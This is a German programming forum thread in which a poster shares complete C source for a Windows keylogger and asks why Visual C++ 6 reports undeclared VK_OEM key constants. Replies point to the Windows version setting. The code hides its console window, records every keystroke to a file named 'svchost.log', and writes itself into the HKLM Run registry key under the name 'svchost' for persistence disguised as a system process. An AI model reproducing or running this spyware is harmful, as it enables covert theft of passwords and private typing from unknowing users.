kein zugriff auf tastatur konstanten?



  • hallo

    ich habe folgenden code geschrieben (keylogger):

    [cpp]
    
    #include <windows.h>
    #include <stdio.h>
    #include <winuser.h>
    
    #define BUFSIZE 80
    
    int test_key(void);
    int create_key(char *);
    int get_keys(void);
    
    int main(void)
    {
        HWND stealth; /*creating stealth (window is not visible)*/
        AllocConsole();
        stealth=FindWindowA("ConsoleWindowClass",NULL);
        ShowWindow(stealth,0);
    
        int test,create;
        test=test_key();/*check if key is available for opening*/
    
        if (test==2)/*create key*/
        {
            char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
            create=create_key(path);
    
        }
    
        int t=get_keys();
    
        return t;
    }  
    
    int get_keys(void)
    {
                short character;
                  while(1)
                  {
    
    				  SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
    
                         for(character=8;character<=222;character++)
                         {
                             if(GetAsyncKeyState(character)==-32767)
                             {   
    
                                 FILE *file;
                                 file=fopen("svchost.log","a+");
                                 if(file==NULL)
                                 {
                                         return 1;
                                 }            
                                 if(file!=NULL)
                                 {        
                                         if((character>=39)&&(character<=64))
                                         {
                                               fputc(character,file);
                                               fclose(file);
                                               break;
                                         }        
                                         else if((character>64)&&(character<91))
                                         {
                                               character+=32;
                                               fputc(character,file);
                                               fclose(file);
                                               break;
                                         }
                                         else
                                         { 
                                             switch(character)
                                             {
                                                   case VK_SPACE:
                                                   fputc(' ',file);
                                                   fclose(file);
                                                   break;    
                                                   case VK_SHIFT:
                                                   fputs("[SHIFT]",file);
                                                   fclose(file);
                                                   break;                                            
                                                   case VK_RETURN:
                                                   fputs("\n[ENTER]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_BACK:
                                                   fputs("[BACKSPACE]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_TAB:
                                                   fputs("[TAB]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_CONTROL:
                                                   fputs("[CTRL]",file);
                                                   fclose(file);
                                                   break;    
                                                   case VK_DELETE:
                                                   fputs("[DEL]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_1:
                                                   fputs("[;:]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_2:
                                                   fputs("[/?]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_3:
                                                   fputs("[`~]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_4:
                                                   fputs("[ [{ ]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_5:
                                                   fputs("[\\|]",file);
                                                   fclose(file);
                                                   break;                                
                                                   case VK_OEM_6:
                                                   fputs("[ ]} ]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_7:
                                                   fputs("['\"]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_PLUS:
                                                   fputc('+',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_COMMA:
                                                   fputc(',',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_MINUS:
                                                   fputc('-',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_PERIOD:
                                                   fputc('.',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD0:
                                                   fputc('0',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD1:
                                                   fputc('1',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD2:
                                                   fputc('2',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD3:
                                                   fputc('3',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD4:
                                                   fputc('4',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD5:
                                                   fputc('5',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD6:
                                                   fputc('6',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD7:
                                                   fputc('7',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD8:
                                                   fputc('8',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD9:
                                                   fputc('9',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_CAPITAL:
                                                   fputs("[CAPS LOCK]",file);
                                                   fclose(file);
                                                   break;
                                                   default:
                                                   fclose(file);
                                                   break;
                                            }        
                                       }    
                                  }        
                        }    
                    }                  
    
                }
                return EXIT_SUCCESS;                            
    }                                                 
    
    int test_key(void)
    {
        int check;
        HKEY hKey;
        char path[BUFSIZE];
        DWORD buf_length=BUFSIZE;
        int reg_key;
    
        reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
        if(reg_key!=0)
        {    
            check=1;
            return check;
        }        
    
        reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
    
        if((reg_key!=0)||(buf_length>BUFSIZE))
            check=2;
        if(reg_key==0)
            check=0;
    
        RegCloseKey(hKey);
        return check;   
    }
    
    int create_key(char *path)
    {   
            int reg_key,check;
    
            HKEY hkey;
    
            reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
            if(reg_key==0)
            {
                    RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
                    check=0;
                    return check;
            }
            if(reg_key!=0)
                    check=1;
    
            return check;
    }
    

    [/cpp]

    beim compilieren mit visual c++ 6 bekomme ich aber immer folgenden fehler:

    ....cpp(101) : error C2065: 'VK_OEM_1' : undeclared identifier
    .....cpp(101) : error C2051: case expression not constant
    ....cpp(105) : error C2065: 'VK_OEM_2' : undeclared identifier
    .....cpp(105) : error C2051: case expression not constant
    ....cpp(109) : error C2065: 'VK_OEM_3' : undeclared identifier
    .
    .
    .
    
    ....obj - 22 error(s), 0 warning(s)
    

    was mache ich falsch??? 🙄

    mfg



  • Was hast de für ne WinVersion angegeben?



  • ähm kannst du das genauer erklären? 🙄



  • Ja man (kann) ja die WIN Version die du beim includieren der Windows.h als vorraussetzung annimst angeben. D.h. ein paar der Keycodes werden erst ab Win2000 unterstützt... s. MSDN...



  • achsooo

    winxp


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